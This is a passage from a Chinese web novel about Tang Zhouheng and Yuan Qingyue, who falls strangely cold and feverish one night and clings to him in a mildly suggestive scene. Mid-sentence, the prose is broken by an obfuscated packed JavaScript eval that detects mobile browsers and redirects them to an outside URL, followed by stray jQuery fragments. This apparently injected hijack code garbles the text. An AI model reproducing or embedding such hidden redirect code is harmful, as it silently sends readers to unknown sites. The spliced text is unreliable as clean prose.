唐周恒将糕点放好,把自己今天要出去工作这件事和袁清悦说了一声。 “可能今天晚上才能回来,我让阿姨上来给你做饭,想吃什么和阿姨说就好。” “好的,哥,你去工作吧,我今天一整天都在家里,不用担心我。” 见袁清悦正专心致志地对着光脑*处理数据,唐周恒点了点头,“要是有什么事打视频给我。” 年前的时候,有个项目团队在研究脑机接口意念传输的通讯方式,唐周恒和袁清悦作为志愿者参与到了项目的开发中,但因为技术还不够成熟,尚且还没投入实际的运行中。 所以目前直接接收视频通话依旧是最便捷的联系方式。 “好的。”袁清悦又面无表情地点了点头。 直到听到家门口传来关门的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14481644|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她才抬头瞥了一眼挥了挥手,不过片刻又看回面前满屏幕的计算符号。 只是袁清悦没想到直到晚上十点钟,唐周恒还没回家。 她摸了摸洗过吹干后又因为风吹了有些凉的发梢,望了一眼阳台外的天空。 今天还没抱着他闻一闻,袁清悦莫名地有些不习惯,而且总感觉有些难受,心脏像是坠入无底洞的难受。 她只好回到床上,抱着自己的娃娃和被子闻了闻。 娃娃和被子上也有她喜欢的香味,但没有唐周恒身上的浓郁。 比起来,她还是最喜欢唐周恒身上的香味。 袁清悦给唐周恒留言问他什么时候回家后,就裹着被子和抱着软乎乎的娃娃睡了过去。 唐周恒是接近凌晨的时间回到家的,袁清悦给他在客厅留了灯, 等他洗漱完已经差不多十二点半了。 唐周恒先去袁清悦的房间看了一眼,把她从床上掉到地毯上的娃娃捡了起来。 适应黑暗后的双眼看清了她的面庞,均匀的呼吸声从她身上传出,胸口有规律地起伏着。她今晚洗了头,散发出浓郁的发香。 唐周恒亲了亲她的手背,依旧是他熟悉的花香味。 冷气开得有些大,他将袁清悦的手放回被窝里盖好。 确认她睡好了,唐周恒才直接通过两个房间之间的过渡门直接回了自己的房间。忙了一天,唐周恒很快也入了睡。 夜晚静悄悄,夜色像深海一样静谧又诡异。 周身溢起寒意,不安感降临,像他来到了连自己都没法去到的深海更深处。 好难受,好难受…… 唐周恒猛地睁开双眼,浅色瞳眸从昏暗的房间内亮起。 就在睁开眼睛的那一瞬间,他感觉自己呼吸与心跳似乎都停滞了半秒。 就连他的呼吸也开始变得有些沉,还没来得及让眼前的视线变得清晰,他却发现床边有一团什么…… 是袁清悦蹲在床边缩成了一团。 唐周恒本还有些朦胧的意识瞬间清醒了过来。 “小悦,你怎么在这蹲着。”他掀开被子下了床,把蹲在地毯上的袁清悦扶了起来。 掌心贴到她手腕的那一瞬间,他僵硬了一瞬,她的手很凉很凉,凉得非常不正常。 “小悦,你的手怎么那么凉?” “哥,我好难受。”她有些昏沉沉的,直挺挺地靠到唐周恒的怀里。 好凉,她身上凉得不太正常。 唐周恒试探性地将手贴到她腰后的肌肤,也是凉的,身体像是开始失温了一样。 袁清悦的手扒拉着自己的领口,她现在感觉又冷又热。 “去医院,小悦,我们去医院。”唐周恒手有些颤抖。 他们在战争那年的冬天差点被冷死,也经历过身体失温。 那是因为天气气温太低,无法御寒导致的。 但现在还是夏天,屋内的冷气唐周恒已经调至睡眠模式,袁清悦就算脱光衣服不盖被子睡觉也不至于出现身体低温症状。 “不要。”袁清悦拧着眉头,她很少会有这样的表情。 在袁清悦开口的这一瞬间,唐周恒立刻想到了病毒……只有病毒才有可能让她出现那么奇怪的症状。 袁清悦将手搭在唐周恒的身上,感受到他身体的温暖后,忍不住凑近他。 唐周恒只好先把她抱紧,试图用自己的体温保证她的温度不要再降低。 她却不知道哪来的力气,硬生生把唐周恒给推倒在床上,而她也顺势跟着倒在了唐周恒的身上。 袁清悦的身体抵在他的身上,柔软又熟悉。 唐周恒还没来得及起身,脖颈处就传来了一阵微凉的触感。 袁清悦的鼻尖和嘴唇抵到了他脖颈的肌肤上。 周遭满是他与她气味的混杂。 “小,小悦……”他扶着袁清悦的腰,语气变得有些沉。